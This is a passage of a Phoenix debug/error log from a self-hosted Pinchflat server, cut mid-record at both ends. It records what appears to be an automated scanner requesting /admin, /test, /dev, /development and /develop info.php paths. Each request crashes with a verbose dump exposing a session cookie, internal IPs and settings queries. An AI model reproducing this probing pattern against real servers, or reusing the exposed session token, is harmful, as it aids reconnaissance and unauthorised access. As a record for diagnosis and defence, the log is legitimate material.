"x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 77, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 77, host_info: :undefined }}, assigns: %{}, (truncated) 17:14:38.338 [info] GET /test/info.php 17:14:38.339 [debug] QUERY OK source="settings" db=0.1ms idle=513.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.339 [debug] QUERY OK source="settings" db=0.0ms idle=513.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.339 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:38.339 [error] #PID<0.11845.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 78) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /test/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 78, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11845.0>, params: %{}, path_info: ["test", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/test/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXdAFdTy6asIABWQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 78, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 78, host_info: :undefined }}, assigns: %{}, b (truncated) 17:14:38.594 [info] GET /dev/info.php 17:14:38.594 [debug] QUERY OK source="settings" db=0.2ms idle=656.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.595 [debug] QUERY OK source="settings" db=0.0ms idle=512.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.595 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:38.595 [error] #PID<0.11846.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 79) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /dev/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 79, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11846.0>, params: %{}, path_info: ["dev", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/dev/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXd9FaenIEpQABWSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 79, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dev/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dev/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 79, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:38.851 [info] GET /development/info.php 17:14:38.851 [debug] QUERY OK source="settings" db=0.1ms idle=768.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.851 [debug] QUERY OK source="settings" db=0.0ms idle=512.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:38.852 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:38.852 [error] #PID<0.11847.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 80) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /development/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 80, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11847.0>, params: %{}, path_info: ["development", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/development/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXe6TfjLJAOAABWUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 80, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 80, host_info: :unde (truncated) 17:14:39.107 [info] GET /develop/info.php 17:14:39.107 [debug] QUERY OK source="settings" db=0.1ms idle=512.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.108 [debug] QUERY OK source="settings" db=0.1ms idle=512.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:39.108 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:39.108 [error] #PID<0.11848.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 81) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /develop/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /develop/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/develop/info.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 81, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 